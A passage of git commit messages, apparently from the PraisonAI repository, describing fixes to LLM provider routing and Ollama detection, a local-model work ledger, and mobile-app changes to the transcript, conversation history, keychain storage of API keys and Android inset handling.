nothing is configured.
Tests: 21 across two files in src/praisonai/tests/unit/llm/, 13 of which fail
before this change. They include the backward-compatibility anchors - the six
existing hosted models keep their dimensions, an unknown model still falls back
to 1536, and an unconfigured adapter still defaults to text-embedding-3-small.
Only dimensions verified by measurement on this machine were added. Models that
could not be measured here (bge-m3, snowflake-arctic-embed, granite-embedding)
are deliberately left out rather than guessed.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(memory): keep embedder provider so local models route correctly
The MongoDB adapter's embedder-block resolution extracted only the bare
model name and dropped the provider, so a config like
{provider: ollama, config: {model: mxbai-embed-large}} sent
mxbai-embed-large to the OpenAI default endpoint. The embedding failed,
_get_embedding swallowed it into 'no vector', and documents were stored
without embeddings while vector search silently degraded to text search.
Recombine provider and model into litellm's '<provider>/<model>' form,
mirroring knowledge/adapters/mongodb_adapter._init_embedding_model.
Fixes Greptile P1.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* fix(llm): stop a local base_url from reassigning every model to Ollama
`_is_ollama_provider` treated any base_url containing "ollama" or ":11434" as
proof of an Ollama model. Since that check ran before the claude/gemini name
checks in `_detect_provider`, setting a local endpoint collapsed EVERY model
onto OllamaAdapter - including Anthropic and Gemini models that have adapters
of their own.
Measured with base_url=http://localhost:11434/v1 - the configuration the README
recommends for local models:
before after
gpt-4o -> OllamaAdapter gpt-4o -> DefaultAdapter
claude-3-5-... -> OllamaAdapter claude-3-5-... -> AnthropicAdapter
gemini-1.5-... -> OllamaAdapter gemini-1.5-... -> GeminiAdapter
qwen3:0.6b -> OllamaAdapter qwen3:0.6b -> OllamaAdapter
llama3.2 -> OllamaAdapter llama3.2 -> OllamaAdapter
The consequence was not cosmetic: OllamaAdapter downgrades tool results to
natural-language `role:user` turns, disables streaming-with-tools, injects
forced-tool prompts and sets max_tool_repairs=2. All of that was being applied
to well-formed OpenAI and Anthropic conversations.
A base_url says WHERE the server is, not WHAT it serves, so it may only imply
Ollama for a model that could plausibly run locally. The discriminator is
closed weights, not vendor: gpt-*, o1/o3/o4-*, chatgpt-*, claude* and gemini-*
cannot be served by a local runtime, while gemma, llama, mistral, qwen,
deepseek and phi routinely are.
That distinction is why this does not reuse `model_providers.resolve_provider`,
which maps `gemma-` to "google" and `mistral-` to "mistral". Correct for
provider routing, wrong here - it would have stripped Ollama detection from the
open-weights models that need it most. The new `is_hosted_only_model` lives
beside it in model_providers.py, the module documented as the single source of
truth for provider inference, so the constant is not duplicated into llm.py.
Any litellm-style prefix is stripped before the test, so `openai/gpt-4o` is
hosted while `openai/qwen3:0.6b` - a local model over the OpenAI-compatible
route - is not, and keeps its Ollama treatment.
Also removes the base_url hint block in `_detect_provider`: it checked exactly
the same three URLs for exactly the same two patterns as `_is_ollama_provider`
immediately above it, so it was an unguarded duplicate that re-captured the
hosted models the guard had just correctly declined.
Tests: 26 in src/praisonai/tests/unit/llm/test_ollama_url_overdetection.py,
15 of which fail before this change. Eleven pin the open-weights models that
must keep Ollama detection. Verified end-to-end against a live Ollama: an
open-weights model behind a local URL still gets OllamaAdapter and still
answers.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(llm): classify nested and vendor-qualified hosted routes as hosted-only
is_hosted_only_model only stripped the first route segment, so
bedrock/anthropic.claude-*, openrouter/anthropic/claude-*,
openrouter/openai/gpt-* and openrouter/google/gemini-* fell through and a
local base_url reassigned them to Ollama before _detect_provider reached its
hosted-provider substring fallback. Now every "/"- and "."-delimited segment
is tested against the closed-weights prefixes, so a hosted family named
anywhere in the route is honoured while open-weights routes
(openai/qwen3:0.6b) keep local Ollama detection.
Adds 6 regression tests for nested/vendor-qualified routes behind a local URL.
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
`Agent._PROVIDER_DEFAULT_MODELS` maps a credential env var to a provider-
prefixed default model, e.g. OLLAMA_HOST -> "ollama/llama3.2". The branch that
routes "provider/model" strings to LLM tests the *original* `llm=` argument,
which is None when the model came from the environment. Such an agent fell
through to OpenAIClient and failed asking for an OpenAI key, while holding a
model name OpenAI has never heard of.
Six of the seven defaults were affected - Ollama, Anthropic, Gemini, Google,
Groq and Cohere. Only the OpenAI default, which has no provider prefix, worked.
Before, with only OLLAMA_HOST and OPENAI_MODEL_NAME=ollama/qwen3:0.6b set:
llm='ollama/qwen3:0.6b' _using_custom_llm=False
ValueError: OPENAI_API_KEY environment variable is required...
After, same environment, same machine, against a live Ollama:
llm='ollama/qwen3:0.6b' _using_custom_llm=True
"2+2 is 4."
The fix re-checks the *resolved* model name for a provider prefix, so
`Agent(llm="ollama/x")` and OLLAMA_HOST now agree instead of taking opposite
code paths. `isinstance(model_name, str)` guards the check, since a dict
without a "model" key also reaches this branch.
Also stops passing `auth=None` into the LLM params on the new path; `auth` is
now added only when truthy, matching the explicit-`llm=` branch it mirrors.
Backward compatibility, asserted by three of the eleven new tests:
- a bare default ("gpt-4o-mini" from OPENAI_API_KEY) still uses OpenAIClient
- an explicit bare model (llm="gpt-4o") still uses OpenAIClient
- a dict llm= without a "model" key still uses OpenAIClient and does not raise
Tests live in src/praisonai/tests/unit/llm/ because no CI workflow collects
src/praisonai-agents/tests/. They assert on constructed state only - no network,
no server - and all eight of the routing assertions fail before this change.
Co-authored-by: Claude Opus 5 <[email protected]>
* docs(agents): add local-model-layer implementation ledger
Adds a work-order ledger so that local-model work can be executed one unit at
a time by agents that do not share a conversation, without re-deriving the
analysis or colliding with each other.
Contents:
- README.md the ledger: how to use it, 8 invariants, a file-ownership
table with enforced serialisation, a status table, and the
two anti-regression tests that keep the work honest
- 00-ground-truth.md every measurement with how to re-verify it
- 06-adapter-revival.md A1/A2 work order: the WIRE/DELETE/LEAVE decision table
for all 20 adapter items, sequenced into 6 revertible steps
- 07-local-package-spec.md normative API spec for a new praisonaiagents/local/
Two findings from measuring rather than assuming, both of which overturned an
earlier framing and are recorded as corrections in the documents:
1. The adapter extension point should mostly be DELETED, not wired. Of 20
items, 12 are dead: 11 of DefaultAdapter's 17 methods plus 3 module
functions. Six of them have no inline equivalent anywhere in llm.py, so they
are speculative API - an agent told to "wire up the adapter" would invent an
implementation that no test could ever have failed against. Only 3 have a
real inline duplicate worth collapsing.
2. The three response paths do not merely diverge, they disagree. At
temperature=0, the same prompt and tool gives sync '{\n\n\n}', async the
correct answer, and stream nothing at all after invoking the tool ten times.
The best-compensated path produces the worst answer, so the goal is not more
compensation but the same compensation.
Also records two test-infrastructure traps that would otherwise waste an
agent's time: src/praisonai-agents/tests/unit/ is run by no CI workflow, and
test_ollama_tool_reliability.py asserts against a MockLLM re-implementation so
it cannot fail in response to any change in llm.py.
Docs only. No source or test changes.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(docs): align local-model ledger deps + test path with CI reality
- I6/§3: forbid httpx in local/ sink, use stdlib urllib.request (matches order-07 normative decision)
- order-07 tests: move to src/praisonai/tests/unit/llm/local/ (CI-collected) instead of the uncollected agents-package tree
- record httpx→urllib correction inline in 00-ground-truth so skimmers aren't misled
Co-authored-by: Mervin Praison <[email protected]>
* docs(agents): add test-gating and live-CI work orders
Adds orders 04 (per-test provider markers) and 05 (nightly live-Ollama job)
to the local-model-layer ledger, and records two more corrections that came
out of measuring rather than reasoning.
Correction 1 - the D7 root cause was misdiagnosed. The audit blamed the
per-file `provider_ollama` tag for deselecting seven mocked tests. Measurement
shows `not network` deselects all seven on its own: the gating plugin implies
`network` from any provider marker, and the file also matches provider_openai.
Removing `not provider_ollama` from the workflows would change nothing. Order
04 therefore touches no YAML - the fix is marker-side, via per-test AST
detection with `network` deliberately left whole-file derived so the change is
provably selection-neutral (187 -> 194 of 290; nothing else moves).
Correction 2 - a live Ollama suite already exists and was missed. It is
tests/integration/test_ollama_tool_calling_live.py, 230 lines, 7 tests, gated
on PRAISONAI_TEST_OLLAMA, and it has never run anywhere. It is also broken
against main: all 7 tests pass verbose=True to Agent(), and two pass
force_tool_usage= / max_tool_repairs=, all three of which now raise TypeError.
So order 05 is "fix a dead test file and wire it up", not "write a suite".
Also recorded, because each would cost an agent a day:
- 4 of the 7 tests in test_base_url_api_base_fix.py fail when executed - the
mock returns a dict, and the tool-calling loop needs an object with .choices
- tests/test_double_api_fix.py makes a REAL network call when forced to run;
llm.py routes gpt-4o-mini through litellm.responses, so its patch of
litellm.completion no longer intercepts. Anyone who "fixes" its skip without
fixing the mock gets live billed calls
- network_guard.py disables itself for /integration/, /e2e/ and /live/, so the
suite's network blocker does not cover the tests most likely to hit network
- qwen3:0.6b is 522 MB, not ~400 MB, and has no vision capability; measured
6/6 with force_tool_usage + temperature=0, but only 3/4 by default and 0/2
on multi-step prompts, which is why the required CI step is narrow
Docs only. No source or test changes.
Co-Authored-By: Claude Opus 5 <[email protected]>
* docs(agents): correct an unreproducible baseline, and record PR status
Two corrections to the local-model ledger, both found by executing it.
1. The sync-path baseline recorded in 06-adapter-revival.md §2.7 and
00-ground-truth.md §7 does not reproduce. Both recorded the sync path
returning '{\n\n\n}' with one tool call. Re-measured on origin/main, twice,
temperature=0, same prompt and tool:
sync calls=2 'Paris: 21C sunny. Paris: 21C sunny.'
async calls=1 'Paris: 21C sunny'
stream calls=10 ''
The stream result reproduced exactly. The headline finding is unchanged -
the three response paths disagree, and the stream path is broken, invoking
the tool ten times for a one-tool question and yielding nothing. Only the
'{\n\n\n}' sample was unreproducible, and both documents now say so rather
than continuing to assert a figure that cannot be reproduced.
Every branch of the 06.1-06.6 stack was bisected against main and all six
produce byte-identical output on all three paths, so the stack is provably
refactor-only. That is now recorded where the constraint is stated.
2. The OLLAMA_FINAL_ANSWER_PROMPT hypothesis was NOT settled during order 06,
contrary to what step 06.0 promised: the corrected baseline changed what
needs explaining. Both documents now say it is still open and point at the
follow-up that should settle it.
Also fills in the status table with the 16 PRs the ledger produced, including
three defects found while executing it that were not in the original order list
(D4 local route prefixes, D5 local embedding dimensions, D6 registry).
Docs only.
Co-Authored-By: Claude Opus 5 <[email protected]>
* docs(agents): finalise ledger status and collect the three corrections
Every order now has an open PR. Adds a summary of the three claims this ledger
made that executing it disproved, so a reader who only skims the top does not
carry the wrong version of any of them.
Co-Authored-By: Claude Opus 5 <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The merge gate allowed pull_request_read/issue_read but the GitHub MCP
server exposes get_pull_request, get_issue, etc., so Opus could not read
CI status or reviews and always posted BLOCK on merge-ready PRs.
Co-authored-by: Cursor <[email protected]>
* feat(mobile): show the user's own message in the transcript
You typed, tapped Send, and only the reply appeared.
`ui/src/transcript/view-model.ts` defined seven row kinds -- text,
reasoning, tool, approval, error, notice, dropped -- and every one of
them describes something the ASSISTANT did. A grep for "user" or
"prompt" in that file returned nothing. The transcript was drawn with
one side of the conversation missing, and it was unimplemented rather
than broken: there was no field on a turn to build the row from.
WHERE THE TEXT COMES FROM
For a reopened chat, from disk. `StoredMessage.role` has been
`"user" | "assistant"` since the repository was written and
`historyRows` threw it away, mapping both roles to a `text` row -- so a
reopened conversation DID paint the user's questions, in the
assistant's clothes. No second source of truth was needed there, only a
role that had to stop being discarded.
For the live turn, from the controller. No engine reports the prompt
back -- `start` carries ids and nothing else -- so a reducer over the
event stream can never learn it. `TurnState.prompt` is seeded by
`beginTurn` at the moment a run is ISSUED, and carried across `start`
(which otherwise rebuilds from `initialTurn` and would erase it, so the
message would appear and then vanish on the engine's first frame).
OPTIMISTIC OR CONFIRMED
Both, and they are different facts. The row appears when the run is
issued, not when Send is tapped: a prompt the composer refuses while a
turn is in flight, and a prompt still waiting in the queue, produce no
turn and therefore no row -- nothing that was never sent is ever on
screen looking sent. Confirmation is read from `end.userIndex` through
`isPersisted`, the same predicate that decides Fork and Delete, and it
only ever UPDATES the row: the id is a constant for the turn, so the
reconciler repaints in place and the row cannot flicker or duplicate. A
turn that ends with no index says "Not saved" in words, because that
message will not be there when the conversation is reopened.
A FINISHED TURN NO LONGER VANISHES
The controller publishes only the current turn and resets it per run, so
the reconciler removed the previous turn's rows the moment the next one
began. Measured on main with two questions in one session: after the
second Send the transcript held the second answer and nothing else.
Invisible while one anonymous paragraph replaced another; glaring once
the transcript has user rows. Finished turns are promoted into the
history prefix when the next turn starts -- not when they end, while
they still carry their tool cards -- with ids namespaced per turn so two
turns cannot both claim `text:0`.
ACCESSIBILITY
`accessibleName` returns null for a user row, deliberately and for the
reason names.ts already gives for a text row: an aria-label replaces the
element's content in the accessibility tree, and prose loses word,
sentence and character navigation. On screen the two speakers are told
apart by alignment and colour, neither of which reaches a screen reader,
so `userRowNames` supplies a visually-hidden "You said:" rendered as
CONTENT ahead of the message, plus the storage note when there is one.
Verified on an Android 35 emulator against the real OpenAI API: sent a
message, saw it, got a reply, sent a second, force-stopped, relaunched,
reopened -- all four rows present and in order, user rows carrying
`data-speaker="user"` and `data-state="stored"`, with no `aria-label`
and the `.sr-only` speaker in the tree. Offline, the same send renders
"Not saved" above a Connection error row.
24 tests added. Eight mutations -- dropping the row, reordering it
below the answer, seeding it on send instead of on run, omitting the
role on reopen, wiping the prompt at `start`, claiming a failed turn was
saved, erasing a finished turn, silencing the speaker -- are each killed
by named tests.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): stop the previous run when opening another chat, and drop its stray publish
Greptile P1: opening a stored chat while a run was still streaming let the
previous conversation's terminated run reconcile a spurious error/dropped row
into the newly opened chat (and get promoted into its history). New chat and
delete-when-open already stop the run first; open-chat did not.
Two defences: open-chat now stops the in-flight run like the other two switch
paths, and publish drops any frame arriving for a chat that has issued no turn
of its own (`expectingTurn`), so even the controller's guaranteed terminal
publish paints nothing into the wrong conversation.
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): release the held stream through a checked accessor, not `release?.()`
The typecheck gate failed on both Node legs with
app/src/main.test.ts(1166,3): error TS2349: This expression is not
callable. Type 'never' has no call signatures.
`release` is declared `(() => void) | null`, initialised to `null`, and
assigned ONLY inside the ReadableStream's `start` callback. TypeScript's
control-flow analysis does not follow assignments made inside a
callback, so at the call site the variable is still narrowed to `null`;
`release?.()` then short-circuits and the call target is `never`.
The narrowing is right about the risk, and that is the real defect here.
`release?.()` on a null releaser silently does NOTHING: chat A's run
would never terminate, no terminal publish would ever be emitted, and
every assertion in the test -- all of which say chat B is free of chat
A's rows -- would pass for the wrong reason, proving only that a leak
which never happened did not happen. An optional call is the wrong tool
for a value the test depends on.
So the releaser is read through a named accessor that asserts the stream
opened before calling it. Measured both ways, with the stream's `start`
callback mutated never to assign `release`:
release?.() -> test PASSES (vacuous)
releaseChatA() -> test FAILS ("chat A's stream never opened,
so there was nothing to release")
No `as any` and no `@ts-expect-error`: the declared type is unchanged and
the null case is handled rather than asserted away.
`npm run check` exits 0 on Node 22.18.0 and 24.12.0, run sequentially,
after a CI-shaped install (praisonai-ts built from source, then `npm ci`
in praisonai-mobile): 1550 tests, 0 fail, 0 cancelled.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): keep the transcript's row prefix and the model's memory apart
Rebasing onto #4816 put two different things called `history` in one
function. `mount` already held `let history: readonly Row[]` -- the
rendered rows above the live turn -- and #4816 added
`engines: (persistence, history, settings, onIgnored)`, whose `history`
is a `ConversationHistory`. The parameter shadowed the outer binding.
It compiled, and it was right by accident. Renaming the row list to
`priorRows` makes `history` mean conversation memory throughout, which
is what `ConversationHistory`, `historyFor` and `core/src/chat/history.ts`
all mean now.
THE TWO ARE NOT THE SAME LIST, DELIBERATELY
- Conversation memory holds only what `record()` actually WROTE. A
turn that failed was never offered for persistence, so the model is
never told about it.
- The row prefix holds every finished turn, written or not, because a
question you asked and the error that answered it both belong on
screen. Dropping it would hide the failure.
That divergence is fine as long as it is not SILENT -- a turn rendered
as though it were part of the conversation while the model has never
heard of it is a chat app lying about its own memory. It is not silent:
a turn on screen that is not in the stored conversation renders its user
row as `unstored`, which reads "Not saved -- this message is not in the
stored conversation".
Two tests hold the two halves to each other, through the real mount,
controller, session and in-process engine:
- "every turn the model is told about is on screen, in the same order"
-- the agreeing direction, including order, so the two parties
cannot remember the same conversation differently.
- "a turn the model was NEVER told about is the one row that says it
was not saved" -- the diverging direction, pinned to the row that
announces itself. Turn 2 fails; all three questions stay on screen,
only turn 2 is marked `unstored`, and turn 3's history carries turn
1 and not turn 2.
Both are killed by mutating the promotion to sweep unstored turns off
the screen, and by mutating `historyFor` to feed the model a turn that
was never stored.
Co-Authored-By: Claude Opus 5 <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
The engine was handed `request.prompt` and nothing else, so the app stored a
conversation, rendered it, and showed the model none of it. On a device:
"What is the capital of France?" -> "Paris.", then "And its population?" ->
a request for clarification, because the second question arrived with no
subject. A chat app that cannot hold a conversation.
WHAT CARRIES THE CONVERSATION
Upstream's `Agent.setHistory` -- documented for exactly this ("Restore a
previously saved conversation so the model regains its memory of it"). The
engine builds a FRESH agent per turn, because the model and the API key come
from settings and can change between messages, so upstream's own accumulation
across `streamEvents` calls dies with each agent. The restore has to happen
every turn, and it does, unconditionally -- including on the first turn, so
the empty case is not a separate code path.
WHERE THE HISTORY COMES FROM
`Session.current()`, the same object `record` writes to. That is what makes a
REOPENED conversation carry its memory: `open(chatId)` loads the stored chat,
so the messages a user scrolls back through and the messages the next turn
remembers are one array. A history buffered in-process would survive the
multi-turn case and fail every relaunch, which is the case a phone hits daily.
WHO ASSEMBLES IT, AND WHY NOT THE PORT
Not `RunRequest`. `remote-http` POSTs `chat_id` to a server that keeps its own
history for that id -- boot.ts already says so -- so client-side history would
send every prior turn twice, once from the client and once from the server's
store. A doubled conversation is worse than a missing one: silent, growing,
and it makes the model contradict itself. Conversation memory is therefore
engine-level, owned by whoever owns the store -- the same split
`RegistryDeps.persistence` draws for the write, drawn once more for the read.
`ConversationHistory` is required alongside `persistence` at every hop, so a
composition cannot supply one and forget the other and still build.
TRUNCATION
`core/src/chat/history.ts` bounds a turn to 24,000 characters (~6,000 tokens)
by keeping the recent end, stopping at the first message that does not fit,
and dropping a leading assistant message. Characters rather than tokens
because tokenizing means shipping a tokenizer into a webview. It is NOT
surfaced in the UI -- protocol v2 has no event for "context was trimmed" and
adding one is a protocol bump -- so what a user sees is recorded in
docs/gaps.md: the transcript is unchanged and complete, but the model stops
being able to refer to the oldest turns.
VERIFIED
- `npm run check` exits 0 on Node 22.18.0 and 24.12.0, 1548 tests.
- Nine mutations, each KILLED by named tests: only-the-latest-prompt,
wrong-order, roles-dropped, current-prompt-twice, history-captured-once,
open-loads-no-messages, truncation-removed, leading-assistant-kept,
budget-off-by-one.
- On an Android 15 emulator against the real provider: capital of France ->
Paris; "And its population?" answered ABOUT PARIS with no clarifying
question; then force-stop, relaunch, reopen, follow-up still in context.
Co-authored-by: Claude Opus 5 <[email protected]>
* feat(mobile): keep the API key in the platform keychain, not in process memory
#4792 gave the app somewhere to put an API key and it worked -- until the app
restarted. `app/src/platform.ts` branched `storage` per platform (#4760) and
handed `createWebSecrets()`, a module-scoped Map, to BOTH:
storage: storageFor(native ? "tauri" : "web", bridge, view),
secrets: createWebSecrets(), // unconditional, even on Tauri
So on a phone the key was gone on every single launch -- not on a crash, not
under storage pressure, every time -- and the settings screen warned that
secrets were "stored in app memory on this platform" while being exactly
right. `core/src/ports/secrets.ts` opens by saying the port IS "the keychain
(iOS) and keystore (Android)"; nothing implemented it.
WHAT IS NOW THERE
src-tauri/plugins/secrets the platform store, in-repo like back-gesture.
Apple: SecItemAdd / SecItemCopyMatching / SecItemDelete with
kSecClassGenericPassword, through `security-framework` -- the same C
calls a Swift helper would make, so no Swift package and the half is
exercised by `cargo test` against the real Keychain.
Android: EncryptedSharedPreferences (keys AES256-SIV, values AES256-GCM)
under a MasterKeys AES key generated in and never leaving the
AndroidKeyStore.
Anywhere else: every call REFUSES. Never a file.
src-tauri/src/secrets.rs the four commands, and the slot allowlist. The
SecretSlot union is erased at runtime and the slot becomes a keychain
service name, so rule 3 of the port exists a second time in Rust.
adapters/src/tauri/secrets.ts the SecretsPort over those commands.
`isHardwareBacked` is TRUE, and it is a claim rather than an assumption:
`detectPlatform` is synchronous (ShellPort.insets forbids a promise), so
the invariant is kept from underneath -- a secret stored through this
adapter at all is in the Keychain or the Keystore, because a platform
without one stores nothing.
WHY NOT AN EXISTING PLUGIN, argued in the module header rather than assumed:
tauri-plugin-stronghold is a password-protected FILE, not a keychain, so
isHardwareBacked could not honestly become true; `keyring` has no Android
backend at all; encrypting into store.rs breaks rule 1 and puts the key beside
the ciphertext.
THE WARNING STRING is rewritten, not deleted. It used to be shown on a phone
too, because the phone really was using app memory. Its only reader now is a
browser, so it says so -- and says the key will be gone next time, which is
the part a reader can act on. A settings screen that simply went quiet would
be no better than one that lied.
VERIFIED ON A DEVICE (Android 15 emulator, arm64): key entered, real model
reply; `adb shell am force-stop ai.praison.mobile`; relaunch; Settings still
reads "Configured" and a second message got a real reply with no re-entry.
`adb logcat` (7325 lines) contains 0 occurrences of the key, and a recursive
grep of /data/data/ai.praison.mobile finds it in 0 files -- the prefs file
holds Tink keysets and ciphertext, and store/ holds only chats.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): self-heal the Android secret store after a backup restore
Android Auto Backup can copy shared_prefs/ai.praison.mobile.secrets onto a
device whose AndroidKeyStore master key is absent, so EncryptedSharedPreferences
.create throws and every read, write, presence check AND delete rejects forever
-- the settings screen is bricked with no in-app recovery. Recover from
underneath: on an open failure, delete the unreadable file with
deleteSharedPreferences (never getSharedPreferences, which the seam test forbids
as the plaintext path) and rebuild empty, so the user re-enters the key once.
🤖 Generated with [Claude Code](https://claude.com/claude-code)
Co-authored-by: Mervin Praison <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
* feat(mobile): give the app somewhere to put an API key, and use it
The app launched, loaded the in-process engine, and failed the first turn
with "The OPENAI_API_KEY environment variable is missing or empty" -- with
no field anywhere in the app to put one in. Settings showed Engine and
Engine address and nothing else.
Every piece of the mechanism already existed and two links were missing.
`SettingDef.secret`, the routing in store.ts, `SecretsPort` and its
conformance suite were all in place, but SETTING_DEFS declared no secret,
`secrets.get` had zero non-test callers, and the engine never received a
key. So a user could not enter one, and a stored one would have been read
by nothing.
- One secret def, `openaiApiKey`, on slot `openai`. Not five: the union is
closed for keychain-namespace safety, not as a shipping list, and the
in-process engine builds exactly one kind of agent -- four more rows would
be controls nothing reads, which is the #4636 defect registry.test.ts
forbids and exactly what `apiKey` was before it was removed.
- `readSecretSetting` in core, and `apiKeyFor` in the registry: the read-back
half. It takes the full SecretsPort, never the SettingsFacade, so a view
cannot reach it with what a view is handed.
- `createInProcessEngine` reads the key on EVERY turn and passes it as the
agent's `apiKey`. Read once at boot would mean a key pasted into Settings
does not work until the app is force-quit -- the lesson `baseUrl` already
taught, and worse for a credential.
- A masked field, a presence row driven by `has()`, and a Remove button.
The field is never seeded from storage and is emptied after every commit,
so the key exists in the DOM only while the user is holding it there.
An empty commit is refused; removing a key is its own named action.
Verified on an Android emulator with a real key: entered in Settings, the
row flipped to "Configured", the field returned to its placeholder, and the
next message came back "The capital of France is **Paris**." The key
appears in no logcat line and nowhere under /data/data/ai.praison.mobile.
Not fixed here, and pre-existing: `createWebSecrets` is process memory, so
the key does not survive a relaunch. platform.ts already names a keychain
adapter as its own piece of work, and the settings screen warns about it.
Co-Authored-By: Claude Opus 5 <[email protected]>
* fix(mobile): drop stale secret-presence writes from overlapping lookups
A save-then-Remove fires two overlapping refreshSecretPresence walks; with
a native keychain adapter (the declared next step) hasSecret can resolve out
of order, letting an older lookup overwrite the latest presence. Guard each
refresh with a monotonic sequence token so only the most recent one writes.
Co-authored-by: Mervin Praison <[email protected]>
* fix(mobile): stop the ledger probe hollowing a contract other suites import
`check (node 22.18)` went red on `remote-http: an adapter reports a protocol
version before any turn is started` with `2 !== 3`, while `check (node 24)`
passed on identical code. The Node version was a red herring.
The ledger self-defence probe in conformance.test.ts edits
engines/src/conformance.ts IN PLACE -- splicing out its first single-line
assertion, spawning a child, and restoring in a `finally`. Its twin in
adapters/src/conformance/contracts.test.ts does the same and states the
invariant that makes it safe: "Nothing but this file and the spawned fixture
imports a contract, and both have already resolved theirs by the time this
runs." That is true for adapters, whose `*-contract.ts` files have exactly
two importers. It is FALSE here: engines/src/conformance.ts has four, two of
which -- remote-http/engine.test.ts and praisonai-ts/conformance.test.ts --
are separate `.test.ts` files that `node --test` runs in separate, CONCURRENT
processes. The probe inherited the technique without the invariant.
A sibling process that imports the contract inside the write/restore window
gets a contract with one assertion missing and `close(made0, 3)` unchanged --
which is exactly `2 !== 3` on a case nobody touched. Node's version only
decides who wins the race.
Measured, polling the real file while the suite runs: BEFORE, 3189 of 1356633
samples saw something other than the real contract, and the smallest was ONE
line -- `writeFileSync` is not atomic, so a sibling could also import a
truncated file. AFTER, 0 of 1346078.
The tell was in the stack: `close` was reported at conformance.ts:142 while
it lives at 143. The reader was looking at a file with a line spliced out.
Reproduced exactly -- same case, same `2 !== 3`, same frames -- by running
remote-http/engine.test.ts against a hand-hollowed contract.
The fix writes the hollowed contract BESIDE the original under a
pid-tagged name, copies the fixture with its one import repointed at it, and
removes both in a `finally`. A temp tree was rejected before, correctly,
because it breaks the contract's relative `../../core` imports; a sibling copy
resolves every specifier identically. The real file is never written to, and
a new assertion says so, so a future edit that goes back to in-place writing
fails here rather than in a sibling suite three files away.
The count stays EXACT. Nothing about the ledger is loosened: the probe still
deletes a real assertion from the real contract and still requires the run to
redden on the ledger. Two new guards close the ways this rewrite could pass
for the wrong reason -- a splice that removed nothing, and an import rewrite
that matched nothing.
npm run check exits 0 on node 22.18.0 and 24.12.0, run sequentially: 1471
tests, 0 fail, 0 cancelled on both.
Co-Authored-By: Claude Opus 5 <[email protected]>
---------
Co-authored-by: Claude Opus 5 <[email protected]>
Co-authored-by: praisonai-triage-agent[bot] <272766704+praisonai-triage-agent[bot]@users.noreply.github.com>
Co-authored-by: Mervin Praison <[email protected]>
Audited on a real Android 15 emulator (Pixel-class, 1080x2400 @ 420dpi) with
the app installed and its WebView driven over CDP, so every number below is
measured rather than reasoned about.
Three defects, one of them the reported one.
1. THE SETTINGS AND CHATS SCREENS IGNORED EVERY INSET AND COULD NOT SCROLL.
`.topbar` is the only rule in app.css that consumes the top inset, and only
the chat screen builds a `.topbar` -- `buildSettingsScreen` and
`buildChatsScreen` emit a bare `<section class="screen screen-settings">`.
Measured: the "Settings" heading's box started at y=20 against a 49px inset,
so 29px of the title painted under the status-bar clock, and every heading
sat at x=0, inside the display cutout in landscape. Those screens were also
`overflow: visible`, so any content past the fold was unreachable.
2. `env(safe-area-inset-*)` ON ANDROID IS THE DISPLAY CUTOUT AND NOTHING ELSE.
With a cutout configured the emulator reported `--safe-area-inset-top: 49px`
(the 128px cutout at dpr 2.625) while the 63px status bar contributed
nothing; rotated to landscape that same 49px moved to the LEFT inset and top
read 0px with the status bar still along the top edge; on the same emulator
with no cutout every edge read 0px and even the chat topbar painted through
the clock. `enableEdgeToEdge()` is why -- the window is never resized, so no
web API can see the system bars.
3. THE COMPOSER SAT UNDER THE KEYBOARD, WHICH NO WEB API REPORTED.
With the IME shown (`dumpsys input_method` reporting `mInputShown=true`) and
the composer focused: `window.innerHeight` 915, `visualViewport.height`
915.05, `navigator.virtualKeyboard.boundingRect` 0x0, `--keyboard-height`
unset. `readKeyboardHeight` therefore returned 0 and the textarea and Send
were painted entirely behind the keyboard. The comment on `keyboardHeightPx`
in adapters/src/tauri/shell.ts claims `visualViewport` needs no native code
because "WKWebView and Android WebView both implement" it; the reading is
right on iOS and reports nothing at all here.
The fixes:
- MainActivity reads the real `WindowInsetsCompat` -- system bars, display
cutout and the IME -- and pushes it to the page through one global. The
keyboard travels on its own field, because ui/src/layout/insets.ts composes
it with the bottom inset using max() and sending it on both channels would
be that sum by another route. A `WindowInsetsAnimationCompat` callback
pushes every frame so the composer slides with the keyboard rather than
teleporting, and the first push retries until the page answers: the very
first dispatch lands before the document exists, and `window.X && window.X(
...)` against a page with no X is a legal no-op that left the app at zero
insets until the user rotated the phone.
- app.css lays out against `--inset-*`, which main.ts writes on `#root` from
`shell.insets`, with the `env()` mirror as the pre-script fallback. The
mirror is NOT overwritten: it is what `readInsets` reads, and writing our
own value into it would make the shell echo itself.
- the settings and chats screens get the four insets plus the gutter, and
`overflow-y: auto`.
- `.chat-row` in app.css is renamed to `.row-chat`, the class main.ts has
always emitted. The block never painted, so chat rows fell back to the bare
`button` rule -- a centred auto-width pill -- and a long title wrapped
without limit.
Tests, each of which fails without its fix (verified by reverting):
- tools/screen-layout.test.mjs drives the built app in headless Chromium at a
phone viewport and asserts COMPUTED GEOMETRY, never declaration text -- the
house rule that `calc(var(a) + var(b))` defeats a regex. Insets are
simulated through the CSS bridge and a `resize`, so the assertion runs
through the shell rather than against a value the test set itself.
- adapters/src/tauri/native-insets.test.ts drives the bridge with a fake
window that has no `visualViewport`, which is the Android reality.
